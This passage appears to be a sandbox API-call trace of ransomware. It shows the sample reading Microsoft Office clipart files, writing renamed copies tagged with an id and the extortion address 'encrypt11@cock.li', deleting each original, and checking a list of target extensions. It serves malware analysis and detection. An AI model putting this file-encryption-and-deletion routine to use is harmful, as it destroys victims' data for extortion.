office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0069.881] GetLastError () returned 0x0 [0069.881] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xe30, lpOverlapped=0x0) returned 1 [0070.043] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe40, lpOverlapped=0x0) returned 1 [0070.044] ReadFile (in: hFile=0x358, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.044] WriteFile (in: hFile=0x32c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.044] SetEndOfFile (hFile=0x32c) returned 1 [0070.044] CloseHandle (hObject=0x32c) returned 1 [0070.044] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.044] SetEndOfFile (hFile=0x358) returned 1 [0070.046] CloseHandle (hObject=0x358) returned 1 [0070.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0070.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.046] lstrlenW (lpString=".doc") returned 4 [0070.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.046] lstrlenW (lpString=".docx") returned 5 [0070.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.046] lstrlenW (lpString=".pdf") returned 4 [0070.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.046] lstrlenW (lpString=".xls") returned 4 [0070.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.046] lstrlenW (lpString=".xlsx") returned 5 [0070.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.046] lstrlenW (lpString=".ppt") returned 4 [0070.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.047] lstrlenW (lpString=".zip") returned 4 [0070.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.047] lstrlenW (lpString=".rar") returned 4 [0070.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.047] lstrlenW (lpString=".bz2") returned 4 [0070.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.047] lstrlenW (lpString=".7z") returned 3 [0070.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.047] lstrlenW (lpString=".dbf") returned 4 [0070.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.047] lstrlenW (lpString=".1cd") returned 4 [0070.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0070.047] lstrlenW (lpString=".jpg") returned 4 [0070.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.055] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.055] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0070.057] GetLastError () returned 0x0 [0070.057] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xadc, lpOverlapped=0x0) returned 1 [0070.067] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xae0, lpOverlapped=0x0) returned 1 [0070.068] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.068] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.068] SetEndOfFile (hFile=0x2e0) returned 1 [0070.068] CloseHandle (hObject=0x2e0) returned 1 [0070.068] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.068] SetEndOfFile (hFile=0x398) returned 1 [0070.069] CloseHandle (hObject=0x398) returned 1 [0070.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0070.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.070] lstrlenW (lpString=".doc") returned 4 [0070.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.070] lstrlenW (lpString=".docx") returned 5 [0070.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.070] lstrlenW (lpString=".pdf") returned 4 [0070.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.070] lstrlenW (lpString=".xls") returned 4 [0070.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.070] lstrlenW (lpString=".xlsx") returned 5 [0070.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.070] lstrlenW (lpString=".ppt") returned 4 [0070.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.070] lstrlenW (lpString=".zip") returned 4 [0070.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.070] lstrlenW (lpString=".rar") returned 4 [0070.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.070] lstrlenW (lpString=".bz2") returned 4 [0070.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.070] lstrlenW (lpString=".7z") returned 3 [0070.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.070] lstrlenW (lpString=".dbf") returned 4 [0070.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.071] lstrlenW (lpString=".1cd") returned 4 [0070.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0070.071] lstrlenW (lpString=".jpg") returned 4 [0070.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.071] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0070.071] GetLastError () returned 0x0 [0070.071] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xb90, lpOverlapped=0x0) returned 1 [0070.133] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xba0, lpOverlapped=0x0) returned 1 [0070.134] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.134] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.134] SetEndOfFile (hFile=0x2e0) returned 1 [0070.136] CloseHandle (hObject=0x2e0) returned 1 [0070.136] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.136] SetEndOfFile (hFile=0x398) returned 1 [0070.136] CloseHandle (hObject=0x398) returned 1 [0070.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0070.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.137] lstrlenW (lpString=".doc") returned 4 [0070.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.137] lstrlenW (lpString=".docx") returned 5 [0070.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.137] lstrlenW (lpString=".pdf") returned 4 [0070.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.137] lstrlenW (lpString=".xls") returned 4 [0070.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.137] lstrlenW (lpString=".xlsx") returned 5 [0070.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.138] lstrlenW (lpString=".ppt") returned 4 [0070.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.138] lstrlenW (lpString=".zip") returned 4 [0070.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.138] lstrlenW (lpString=".rar") returned 4 [0070.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.138] lstrlenW (lpString=".bz2") returned 4 [0070.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.138] lstrlenW (lpString=".7z") returned 3 [0070.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.141] lstrlenW (lpString=".dbf") returned 4 [0070.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.141] lstrlenW (lpString=".1cd") returned 4 [0070.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0070.141] lstrlenW (lpString=".jpg") returned 4 [0070.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.142] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.142] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.145] GetLastError () returned 0x0 [0070.145] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0070.184] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x900, lpOverlapped=0x0) returned 1 [0070.188] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.188] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.188] SetEndOfFile (hFile=0x390) returned 1 [0070.188] CloseHandle (hObject=0x390) returned 1 [0070.188] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.188] SetEndOfFile (hFile=0x328) returned 1 [0070.189] CloseHandle (hObject=0x328) returned 1 [0070.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0070.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.189] lstrlenW (lpString=".doc") returned 4 [0070.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.189] lstrlenW (lpString=".docx") returned 5 [0070.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.190] lstrlenW (lpString=".pdf") returned 4 [0070.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString=".xls") returned 4 [0070.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.190] lstrlenW (lpString=".xlsx") returned 5 [0070.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.190] lstrlenW (lpString=".ppt") returned 4 [0070.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.190] lstrlenW (lpString=".zip") returned 4 [0070.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.190] lstrlenW (lpString=".rar") returned 4 [0070.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString=".bz2") returned 4 [0070.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString=".7z") returned 3 [0070.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.190] lstrlenW (lpString=".dbf") returned 4 [0070.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.190] lstrlenW (lpString=".1cd") returned 4 [0070.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0070.190] lstrlenW (lpString=".jpg") returned 4 [0070.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.190] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.190] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.191] GetLastError () returned 0x0 [0070.191] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0070.261] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0070.262] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.262] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.262] SetEndOfFile (hFile=0x390) returned 1 [0070.262] CloseHandle (hObject=0x390) returned 1 [0070.262] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.262] SetEndOfFile (hFile=0x328) returned 1 [0070.263] CloseHandle (hObject=0x328) returned 1 [0070.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0070.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.263] lstrlenW (lpString=".doc") returned 4 [0070.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString=".docx") returned 5 [0070.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.264] lstrlenW (lpString=".pdf") returned 4 [0070.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString=".xls") returned 4 [0070.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.264] lstrlenW (lpString=".xlsx") returned 5 [0070.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.264] lstrlenW (lpString=".ppt") returned 4 [0070.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.264] lstrlenW (lpString=".zip") returned 4 [0070.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.264] lstrlenW (lpString=".rar") returned 4 [0070.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString=".bz2") returned 4 [0070.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString=".7z") returned 3 [0070.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.264] lstrlenW (lpString=".dbf") returned 4 [0070.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.264] lstrlenW (lpString=".1cd") returned 4 [0070.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0070.264] lstrlenW (lpString=".jpg") returned 4 [0070.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.265] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.265] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0070.265] GetLastError () returned 0x0 [0070.265] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0070.384] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0070.385] ReadFile (in: hFile=0x328, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.385] WriteFile (in: hFile=0x390, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0070.385] SetEndOfFile (hFile=0x390) returned 1 [0070.385] CloseHandle (hObject=0x390) returned 1 [0070.385] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.385] SetEndOfFile (hFile=0x328) returned 1 [0070.386] CloseHandle (hObject=0x328) returned 1 [0070.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0070.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0070.386] lstrlenW (lpString="C:\\Program 